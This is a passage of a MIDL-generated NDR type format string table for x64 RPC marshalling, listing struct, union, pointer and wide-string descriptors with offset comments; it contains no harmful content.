(256) */\n/* 226 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 228 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 230 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 232 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 234 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 236 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0xb9,\t\t/* FC_UINT3264 */\n/* 238 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0xb9,\t\t/* FC_UINT3264 */\n/* 240 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 242 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 244 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 246 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 248 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xff9b ),\t/* Offset= -101 (148) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 252 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 254 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 256 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 258 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 260 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 262 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 264 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 266 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 268 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 270 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 272 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 274 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 276 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 278 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 280 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 282 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 284 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 286 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 288 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 290 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 292 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 294 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 296 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 298 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (300) */\n/* 300 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 302 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 304 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 306 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 308 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 310 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (312) */\n/* 312 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 314 */\tNdrFcShort( 0xa0 ),\t/* 160 */\n/* 316 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 318 */\tNdrFcShort( 0x20 ),\t/* Offset= 32 (350) */\n/* 320 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 322 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 324 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 326 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 328 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 330 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0xb9,\t\t/* FC_UINT3264 */\n/* 332 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0xb9,\t\t/* FC_UINT3264 */\n/* 334 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 336 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 338 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 340 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 342 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xff3d ),\t/* Offset= -195 (148) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 346 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 348 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 350 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 352 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 354 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 356 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 358 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 360 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 362 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 364 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 366 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 368 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 370 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 372 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 374 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 376 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 378 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 380 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 382 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 384 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 386 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 388 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 390 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 392 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 396 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (396) */\n/* 398 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 400 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 402 */\tNdrFcShort( 0xfecc ),\t/* Offset= -308 (94) */\n/* 404 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 406 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 408 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (410) */\n/* 410 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 412 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 414 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 416 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 418 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 420 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 422 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 426 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 430 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 432 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 434 */\tNdrFcShort( 0x15c ),\t/* Offset= 348 (782) */\n/* 436 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 438 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 440 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 442 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 444 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 446 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 450 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 454 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (456) */\n/* 456 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 458 */\tNdrFcShort( 0xa ),\t/* 10 */\n/* 460 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 464 */\tNdrFcShort( 0x3a ),\t/* Offset= 58 (522) */\n/* 466 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 470 */\tNdrFcShort( 0x6a ),\t/* Offset= 106 (576) */\n/* 472 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 476 */\tNdrFcShort( 0x82 ),\t/* Offset= 130 (606) */\n/* 478 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 482 */\tNdrFcShort( 0xca ),\t/* Offset= 202 (684) */\n/* 484 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 488 */\tNdrFcShort( 0xd2 ),\t/* Offset= 210 (698) */\n/* 490 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 494 */\tNdrFcShort( 0xe6 ),\t/* Offset= 230 (724) */\n/* 496 */\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 500 */\tNdrFcShort( 0xfc ),\t/* Offset= 252 (752) */\n/* 502 */\tNdrFcLong( 0x7 ),\t/* 7 */\n/* 506 */\tNdrFcShort( 0x100 ),\t/* Offset= 256 (762) */\n/* 508 */\tNdrFcLong( 0x8 ),\t/* 8 */\n/* 512 */\tNdrFcShort( 0xac ),\t/* Offset= 172 (684) */\n/* 514 */\tNdrFcLong( 0x9 ),\t/* 9 */\n/* 518 */\tNdrFcShort( 0xa6 ),\t/* Offset= 166 (684) */\n/* 520 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (519) */\n/* 522 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 524 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (526) */\n/* 526 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 528 */\tNdrFcShort( 0x88 ),\t/* 136 */\n/* 530 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 532 */\tNdrFcShort( 0x24 ),\t/* Offset= 36 (568) */\n/* 534 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 536 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 538 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 540 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfe77 ),\t/* Offset= -393 (148) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 544 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 546 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 548 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 550 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 552 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 554 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 556 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 558 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 560 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 562 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 564 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 566 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 568 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 570 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 572 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 574 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 576 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 578 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (580) */\n/* 580 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 582 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 584 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 586 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (594) */\n/* 588 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 590 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 592 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 594 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 596 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 598 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 600 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 602 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 604 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 606 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 608 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (610) */\n/* 610 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 612 */\tNdrFcShort( 0x88 ),\t/* 136 */\n/* 614 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 616 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (640) */\n/* 618 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 620 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 622 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 624 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0xb9,\t\t/* FC_UINT3264 */\n/* 626 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 628 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 630 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 632 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 634 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 636 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 638 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 640 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 642 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 644 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 646 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 648 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 650 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 652 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 654 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 656 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 658 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 660 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 662 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 664 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 666 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 668 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 670 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 672 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 674 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 676 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 678 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 680 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 682 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 684 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 686 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (688) */\n/* 688 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 690 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 692 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 694 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (694) */\n/* 696 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 698 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 700 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (702) */\n/* 702 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 704 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 706 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 708 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (716) */\n/* 710 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 712 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 714 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 716 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 718 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 720 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 722 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 724 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 726 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (728) */\n/* 728 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 730 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 732 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 734 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (744) */\n/* 736 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 738 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 740 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 742 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 744 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 746 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 748 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 750 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 752 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 754 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (756) */\n/* 756 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 758 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 760 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 762 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 764 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (766) */\n/* 766 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 768 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 770 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 772 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (778) */\n/* 774 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 776 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 778 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 780 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 782 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 784 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 786 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 788 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (788) */\n/* 790 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 792 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 794 */\tNdrFcShort( 0xfe9a ),\t/* Offset= -358 (436) */\n/* 796 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 798 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 800 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (802) */\n/* 802 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 804 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 806 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 808 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (814) */\n/* 810 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 812 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 814 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 816 */\tNdrFcShort( 0xfd00 ),\t/* Offset= -768 (48) */\n/* 818 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 820 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (822) */\n/* 822 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 824 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 826 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 828 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 830 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 832 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 834 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 838 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 842 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 844 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 846 */\tNdrFcShort( 0x23c ),\t/* Offset= 572 (1418) */\n/* 848 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 850 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 852 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 854 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 856 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 858 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 862 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 866 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (868) */\n/* 868 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 870 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 872 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 876 */\tNdrFcShort( 0x22 ),\t/* Offset= 34 (910) */\n/* 878 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 882 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (928) */\n/* 884 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 888 */\tNdrFcShort( 0x50 ),\t/* Offset= 80 (968) */\n/* 890 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 894 */\tNdrFcShort( 0x9e ),\t/* Offset= 158 (1052) */\n/* 896 